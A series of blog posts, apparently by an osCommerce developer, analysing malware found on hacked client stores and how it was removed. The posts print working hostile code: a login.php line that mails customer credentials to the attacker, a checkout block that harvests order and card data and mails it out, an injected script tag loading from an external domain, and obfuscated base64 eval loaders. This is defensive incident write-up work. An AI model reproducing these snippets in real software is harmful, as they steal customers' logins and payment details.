Security
script src=http://1see.ir/j/
Jul 29th
Long time no write – but here’s another exploit. – maybe two.
My clients’ hosting company contacted him regarding spam mail being sent from his account. After downloading his site I found a couple of exploits that had been popped in there:
In the catalog/images folder there were three extra files *.php, *.phtml and *.ind – each of those contained the same code that terminated in a php mail() function, if accessed they will give you ‘console’ window (see images at foot of post) from which you can rename, delete, upload and change file permissions.
Opening this on my localhost allowed me several minutes of fun as I scampered around the hard drive right into the root folder – not sure how far you’d really get on a live, web facing server – on the one I Googled up the console was limited to just the images folder – but there’s quite a few sites seem to have this file out there.
OK – so that’s all very well, what about the mail() function? Find a web facing server that has the files on it and you’ll get a login screen – I guess Mr Hacker logs in, uploads a file plus a list of email addresses and spamsalot.
As if that’s not enough in the catalog/images folder there were also a lot of ‘hidden’ files starting with a full stop:
A quick look inside reveals our old friend – (base64_decode())
<? eval(gzinflate(base64_decode('
7Rxrd9rG8rN7Tv/DWpdTQ0uwANuJH7jBxA/s2I7B......
No idea what they were up to – rather than decode then lot I just binned them then popped an htaccess file into the images folder to stop scripts running from within the folder.
Great, so that’s us cured? What about the title of the post? Whats the script src=http://1see.ir/j/
all about then? The left hand menu on the /catalog/ pages had an attempt at injecting a script in there – the HTML looked like (lots of nested tables – yaaay!)
<table cellpadding="0" cellspacing="0" border="0" class="bg1"> <tr> <td class="bg2"> <table cellpadding="0" cellspacing="0" border="0" class="bg3"> <tr> <td class="set"><a href=http://www.adomain.com/script-srchttp1seeirj-c-92.html><script src=http://1see.ir/j/> </a></td> </tr> </table> </td> </tr> </table><br style="line-height:1px"> <table cellpadding="0" cellspacing="0" border="0" class="bg1"> <tr> <td class="bg2"> <table cellpadding="0" cellspacing="0" border="0" class="bg3"> <tr> <td class="set"><a href=http://www.adomain.com/script-c-93.html></script> </a></td> </tr> </table>
OK – so what’s with the javascript and how does it get there? The database has been hacked with an attempt to pop a javascript in there instead of a category name – glance in the database shows that the categories_name field in the categories table for one category had the <script src=http://1see.ir/j/> bit and the next category had the </script>.
Snippety snip, deleted and correct category names added.
Not sure if the javascript is linked to the files in the images folder or not.
- Hidden files in the images folder
- Web facing mailer login
- File manipulation console
File injection – login.php and checkout_confirmation.php
Jan 22nd
Here’s a couple of little code snippets that I found on an osC store I was working on
login.php at line 23
if (isset($HTTP_GET_VARS['action']) && ($HTTP_GET_VARS['action'] == 'process')) {
$email_address = tep_db_prepare_input($HTTP_POST_VARS['email_address']);
$password = tep_db_prepare_input($HTTP_POST_VARS['password']);
@mail("XXXXXXX@gmail.com","www.XXXXXXXX.com ","username : $email_address \n password : $password");
The last line above was added in by our old friend the hacker and simple emails a customer’s username and password to his throwaway email address at Googlemail.
Then in the file checkout_confirmation.php at around line 55 he’s also added in this:
$msgz = "";
if (!isset($_SERVER)) { $_SERVER = &$HTTP_SERVER_VARS; }
foreach ($_POST as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($_GET as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($order->info as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($order->customer as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($order->customer['country'] as $key => $value) { $msgz.="country-".$key." => ".$value."\r\n"; }
$msgz .= $_SERVER['HTTP_REFERER']."\r\n".$_SERVER['SCRIPT_FILENAME'];
if(preg_match('/[0-9]{12,19}|paypal/i',$msgz)) {
@mail('XXXXX@gmail.com','setoran',$msgz);
} else {
@mail('YYYYYYY@gmail.com','setoran',$msgz);
}
This baby catches all the information being passed from the checkout_confirmation.php page to the checkout_process.php file and emails it to one or other of his email addresses.
Rogue files #2
Jan 22nd
Came across a couple of ‘extra’ files added to a client’s osC installation by XSS
ext/modules/payment/paypal/verify_ipn.php
This one contained a nice little virus package and is not to be confused with the genuine osC file that you may have on your site :
ext/modules/payment/paypal_ipn/verify_ipn.php
On the same site there was a file /images/ind.php that had been dropped in there – there should be nothing in the /images/ folder for osC other than images and possible a .htaccess file – worth having a look.
The images folder is easy for a hacker to drop a file into as the permissions on there may be set to 777 – you can try changing that to 755 which works on some hosting servers – but on others it seems to be that 777 is needed.
If you are set to 777 and a script file is placed into the images folder then you could try and stop it from running by using the .htaccess script listed here – like one contributor says on there it won’t stop the hack taking place but at least it will stop the blasted file from running.
‘edoced_46esab’ – whassat?
Dec 5th
Another site flagged up by Google as being ‘dirty’ – on being asked to look through the files by the owner I could find only two ‘naughty’ files and no database changes.
The file with the malware was (again) called ‘google1234568.php’ (where 1234568 is a random mix of characters) and was in the root folder. This is a non-standard osC file and the filename is an attempt to mimic a standard Google Web Tools verification file which will be called google1234568.html
The malware code in the file was encoded thus:
<?php $D=strrev('edoced_46esab');$s=gzinflate($D.....yadda....yadda...
Decompiling the code revealed a pile of php functions designed to search out various files (including windows, *nix and Mac password files; http.conf files, config.php etc etc) on the local disc and copy them. Sneakily the very first couple of lines were designed to return a 404 error to a number of bots including Google in an attempt to stop the bots from finding the malware code that followed.
This fake file still needs to be called from somewhere else the chances of it being visited by your average punter is virtually nil – running a file comp found that the only other suspicious file was cookie_usage.php and that one had been entirely substituted with code to call the fake google file.
The site was cleaned up and resubmitted to Google who cleared the malware flag.
You must secure an osC site properly – check out v2.3. Also try these:
osC Sitemonitor by Jack_mcs forum discussion here
Rogue files
Nov 27th
Whilst running a file comparison between a good, local copy of a hacked osC site I found a number of poor,little orphan files on the server that, when examined, were full of nasty, ‘orrible code. Here’s a list of the little darlings which may help you:
In catalog folder
google ********.php (where ******* are random characters)
cookie_setup.php
jsys.php (a genuine file of this name may appear with Joomla)
reader.php
catalog/images
****.php – there should be no php files in the images folder
catalog/includes/classes
nusoap.php
In the admin folder (or whatever you have renamed it to. You have renamed it haven’t you?) These files are standard php/js files that have been placed on the server to assist the hacker in uploading/changing other files.
JsHttpRequest.php
utils.js
admin/incudes/classes/
nusoap.php
Also a .htaccess file has appeared in lots of directories where, previously, there was none. This new htaccess file is set to prevent directory browsing and just contains the line
Options All -Indexes
Changed Files
catalog/cookie_useage.php
catalog/includes/header.php (base 64 code added after final ?> )
catalog/includes/languages/xxxxxx/cookie_useage.php
Database hack
Nov 2nd
Recently I was working on a client’s website when I came across an interesting variation on the recent fake ‘Google’ files hack.
Looking at his database I found this in the Manufacturers table:
(not the real filenames or manufacturers – names have been changed to protect the innocent
)
Quite nifty this one as, when the manufacturers’ details are called by the osCommerce PHP code it will output the google11367c8876898.php file code to the visitor’s web browser rather than an image – looking into the /images/ folder on the clients server – sure enough – there is a PHP file with the appropriate name just waiting to be called.




